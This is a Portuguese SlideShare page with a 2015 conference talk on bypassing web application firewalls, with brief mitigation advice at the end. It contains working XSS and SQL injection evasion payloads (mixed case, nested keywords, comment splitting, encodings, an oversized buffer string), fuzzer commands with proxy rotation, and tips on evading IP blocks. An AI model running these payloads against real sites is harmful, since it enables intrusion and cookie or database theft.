1/ 41
®
Burlando um WAF
22 de junho de 2015
®
2/ 41
®
Quem sou ?
● Antonio Costa “Cooler_”
● Desenvolvedor em ASM, C, C++, Lisp, Perl, PHP
etc...
● Pentest, codereview,...
3/ 41
®
Agenda
● Entendendo o problema
● Burlando um WAF
● Automatizando o ataque
● Sugestões para mitigação
4/ 41
®
Entendendo o Problema
● WAF (web application firewall)
● Filtro com conjunto de regras
● Protege de ataques comuns...
5/ 41
®
Entendendo o Problema
● Filtra tanto Request como Response
6/ 41
®
Entendendo o Problema
● Request exemplo:
GET /sell/cars.php?search=<script>alert(document.cookie)</script >
7/ 41
®
Entendendo o Problema
● Match exato
● BlackList...
● “alert(”,
● ”union”
● “select”
● “script”
● “eval”...
8/ 41
®
Entendendo o Problema
● Block por IP
● DoS
● E se spoofar ?
Spoofing ?
9/ 41
®
Entendendo o Problema
● Regras não são suficientes...
● Expressão regular “regex” não faz matching
10/ 41
®
Entendendo o Problema
● ReDOS (Regular expression denial of service)
● Agrupamento
● Repetição e Alternância com ...
11/ 41
®
Burlando um WAF
12/ 41
®
Burlando um WAF
● Como Detectar o WAF ?
● Descobrimento de um WAF pode se dar por alguns fatores são eles
“header...
13/ 41
®
Burlando um WAF
Mixed Case
● Em alguns casos o “patern matching” para um elemento de uma
blacklist seria “case se...
14/ 41
®
Burlando um WAF
Replace Keywords
● Alguns casos que não ocorre um block, fazem troca de uma string por outra,
exe...
15/ 41
®
Burlando um WAF
Spaces to comment
● Trocar espaços em branco por comentários “/**/”, ou mesmo
adicionar comentári...
16/ 41
®
Burlando um WAF
Buffer Overflow
● Crashar aplicação forçando buffer overflow deixa o caminho livre para
nossos pa...
17/ 41
®
Burlando um WAF
● Outras formas...
● Objetivo é o mesmo burlar
18/ 41
®
Burlando um WAF
Encodes
● Codificando os payloads podemos enganar o “match”, os mais
usados são encode64, url enc...
19/ 41
®
Burlando um WAF
● HPP(HTTP Parameter Pollution)
● Uma técnica que visa enviar muitos parâmetros para assim
burlar...
20/ 41
®
Burlando um WAF
● Mude o IP use Proxy
● Mude o User Agent
21/ 41
®
Burlando um WAF
● Ataques ao mesmo tempo? BLOCK !
● Delay de tempo em cada Request
● Periodicidade no tempo
● Div...
22/ 41
®
Burlando um WAF
● Outras formas...
● obfuscar
● encodar apenas um
caracter etc...
23/ 41
®
Automatizando o ataque
● Por que automatizar ?
24/ 41
®
Automatizando o ataque
● Payloadmask
https://github.com/CoolerVoid/payloadmask
25/ 41
®
26/ 41
®
● Futuro da ferramenta
github.com/CoolerVoid/payloadmask/issues
27/ 41
®
Automatizando o ataque
● 0d1n
https://github.com/CoolerVoid/0d1n
28/ 41
®
Automatizando o ataque
● 0d1n
https://github.com/CoolerVoid/0d1n
29/ 41
®
Automatizando o ataque
30/ 41
®
Automatizando o ataque
31/ 41
®
Automatizando o ataque
32/ 41
®
Automatizando o ataque
● Exemplo:
./0d1n –host http://localhost/test.php –post
”car_name=ˆ ” –payloads payloads/x...
33/ 41
®
Automatizando o ataque
34/ 41
®
Automatizando o ataque
35/ 41
®
Automatizando o ataque
● Exemplo:
./0d1n –host http://localhost/test.php –post
”car_name=ˆ ” –payloads payloads/x...
36/ 41
®
Automatizando o ataque
● Futuro da ferramenta...
github.com/CoolerVoid/0d1n/issues
37/ 41
®
Automatizando o ataque
●
38/ 41
®
Sugestões para mitigação
● Não usar Regex que tenha redundância
● Usar Whitelist e não Blacklist.
● Prevenção sem...
39/ 41
®
Agradecimentos !
● IAK, Sigsegv, M0nad, Slyfunky, Clandestine,
Robertux, F117, Loganbr, MMxM, eremita, Mente
Bina...
40/ 41
®
Perguntas ???
41/ 41
®
Próximos SlideShares
Carregando em…5
×

Burlando Waf 2.0

678 visualizações

Publicada em

como b

Publicada em: Tecnologia
0 comentários
2 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
678
No SlideShare
0
A partir de incorporações
0
Número de incorporações
2
Ações
Compartilhamentos
0
Downloads
14
Comentários
0
Gostaram
2
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Burlando Waf 2.0

  1. 1. 1/ 41 ® Burlando um WAF 22 de junho de 2015 ®
  2. 2. 2/ 41 ® Quem sou ? ● Antonio Costa “Cooler_” ● Desenvolvedor em ASM, C, C++, Lisp, Perl, PHP etc... ● Pentest, codereview, engenharia reversa e pesquisas para problemas diversos etc... ● @Cooler_freenode ● https://github.com/CoolerVoid ● acosta@conviso.com.br ● coolerlair@gmail.com
  3. 3. 3/ 41 ® Agenda ● Entendendo o problema ● Burlando um WAF ● Automatizando o ataque ● Sugestões para mitigação
  4. 4. 4/ 41 ® Entendendo o Problema ● WAF (web application firewall) ● Filtro com conjunto de regras ● Protege de ataques comuns ● Registra informações de ataques ● Bloqueia ataques
  5. 5. 5/ 41 ® Entendendo o Problema ● Filtra tanto Request como Response
  6. 6. 6/ 41 ® Entendendo o Problema ● Request exemplo: GET /sell/cars.php?search=<script>alert(document.cookie)</script >
  7. 7. 7/ 41 ® Entendendo o Problema ● Match exato ● BlackList... ● “alert(”, ● ”union” ● “select” ● “script” ● “eval”...
  8. 8. 8/ 41 ® Entendendo o Problema ● Block por IP ● DoS ● E se spoofar ? Spoofing ?
  9. 9. 9/ 41 ® Entendendo o Problema ● Regras não são suficientes... ● Expressão regular “regex” não faz matching
  10. 10. 10/ 41 ® Entendendo o Problema ● ReDOS (Regular expression denial of service) ● Agrupamento ● Repetição e Alternância com sobreposição ● ([A-Za-z]+)*([0-9]+)* ● ([0-9a-z]|d+)*
  11. 11. 11/ 41 ® Burlando um WAF
  12. 12. 12/ 41 ® Burlando um WAF ● Como Detectar o WAF ? ● Descobrimento de um WAF pode se dar por alguns fatores são eles “header” da Response, por cookies e outros meios. ● Pode-se fazer manualmente, entretanto é interessante automatizar com ferramentas: ● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse ● https://github.com/sandrogauci/wafw00f ● http://code.google.com/p/imperva-detect/ ● …
  13. 13. 13/ 41 ® Burlando um WAF Mixed Case ● Em alguns casos o “patern matching” para um elemento de uma blacklist seria “case sentive”, ou seja qualquer caractere que esteja fora do padrão não irá passar por “matching”. ● “select” é diferente de “SeLecT”,”sEleCt”,”seLecT”... ● “script” é diferente de “sCriPT”,”ScRipT”... ● Entretanto o paylaod pode ser interpretado seja ataque de XSS ou SQL injection, isso pois o ambiente que interpreta não é “case sentive”. ● Exemplo: ● /sell/cars.php?search=<script>alert(document.cookie)</script ● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
  14. 14. 14/ 41 ® Burlando um WAF Replace Keywords ● Alguns casos que não ocorre um block, fazem troca de uma string por outra, exemplo se encontra palavra “union select” substitui por “” ou seja acaba trocando por nada( apaga a ocorrência de uma palavra), logo á Request continua não é bloqueada. ● Como atacante pode se aproveitar disso ? ● Exemplos: ● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9 ● Assim que o WAF fazer replace(troca) então temos: ● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
  15. 15. 15/ 41 ® Burlando um WAF Spaces to comment ● Trocar espaços em branco por comentários “/**/”, ou mesmo adicionar comentários em pontos aleatórios, ajuda a fugir do “match”. ● Exemplos: ● /sell/cars.php? search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– - ● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*! table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*! TaBlE_ScHeMa*/+like+database()– -
  16. 16. 16/ 41 ® Burlando um WAF Buffer Overflow ● Crashar aplicação forçando buffer overflow deixa o caminho livre para nossos payloads. ● Exemplos: ● /cars/id/page/=-25+and+(select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...])+/*! UnIOn*/+/*!selECt*/+4,5,6,7… ● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...) +uNIoN+seLecT+2,3,version()... ● Por que isso ocorre ? ● Nem todo WAF segue uma prática correta para limitar o buffer de entrada, logo um payload com tamanho extremo pode causar buffer overflow. funções como strcpy(),strcat() sem devido buffer limitado e definido podem causar estes problemas, por isso o recomendado é usar funções como strncat() ou mesmo strncpy().
  17. 17. 17/ 41 ® Burlando um WAF ● Outras formas... ● Objetivo é o mesmo burlar
  18. 18. 18/ 41 ® Burlando um WAF Encodes ● Codificando os payloads podemos enganar o “match”, os mais usados são encode64, url encode, double url encode... ● Exemplo: <script>alert(document.cookie)</script ● Url encode: %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript ● 64 encode PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3Jpc HQ=
  19. 19. 19/ 41 ® Burlando um WAF ● HPP(HTTP Parameter Pollution) ● Uma técnica que visa enviar muitos parâmetros para assim burlar filtros de ambientes.
  20. 20. 20/ 41 ® Burlando um WAF ● Mude o IP use Proxy ● Mude o User Agent
  21. 21. 21/ 41 ® Burlando um WAF ● Ataques ao mesmo tempo? BLOCK ! ● Delay de tempo em cada Request ● Periodicidade no tempo ● Diversidade -Mudar IP -Mudar Payload -Mudar UserAgent
  22. 22. 22/ 41 ® Burlando um WAF ● Outras formas... ● obfuscar ● encodar apenas um caracter etc...
  23. 23. 23/ 41 ® Automatizando o ataque ● Por que automatizar ?
  24. 24. 24/ 41 ® Automatizando o ataque ● Payloadmask https://github.com/CoolerVoid/payloadmask
  25. 25. 25/ 41 ®
  26. 26. 26/ 41 ® ● Futuro da ferramenta github.com/CoolerVoid/payloadmask/issues
  27. 27. 27/ 41 ® Automatizando o ataque ● 0d1n https://github.com/CoolerVoid/0d1n
  28. 28. 28/ 41 ® Automatizando o ataque ● 0d1n https://github.com/CoolerVoid/0d1n
  29. 29. 29/ 41 ® Automatizando o ataque
  30. 30. 30/ 41 ® Automatizando o ataque
  31. 31. 31/ 41 ® Automatizando o ataque
  32. 32. 32/ 41 ® Automatizando o ataque ● Exemplo: ./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response –tamper urlencode -proxy-rand paylaods/proxy.txt
  33. 33. 33/ 41 ® Automatizando o ataque
  34. 34. 34/ 41 ® Automatizando o ataque
  35. 35. 35/ 41 ® Automatizando o ataque ● Exemplo: ./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response
  36. 36. 36/ 41 ® Automatizando o ataque ● Futuro da ferramenta... github.com/CoolerVoid/0d1n/issues
  37. 37. 37/ 41 ® Automatizando o ataque ●
  38. 38. 38/ 41 ® Sugestões para mitigação ● Não usar Regex que tenha redundância ● Usar Whitelist e não Blacklist. ● Prevenção sempre, contratar serviços para auditoria na aplicação ● Não esperar que o WAF faça tudo... ● Sanitizar informações e validar ● Mantenha o ambiente Hardenizado.
  39. 39. 39/ 41 ® Agradecimentos ! ● IAK, Sigsegv, M0nad, Slyfunky, Clandestine, Robertux, F117, Loganbr, MMxM, eremita, Mente Binaria, Otacon, Ephexis, pl4nkt0n, necrist, dr_gordon, sheilong etc... galera do IRC etc.. ● Aos Mestres da CONVISO ● Ulisses Castro por ter dado sugestão do “Tamper”
  40. 40. 40/ 41 ® Perguntas ???
  41. 41. 41/ 41 ®

×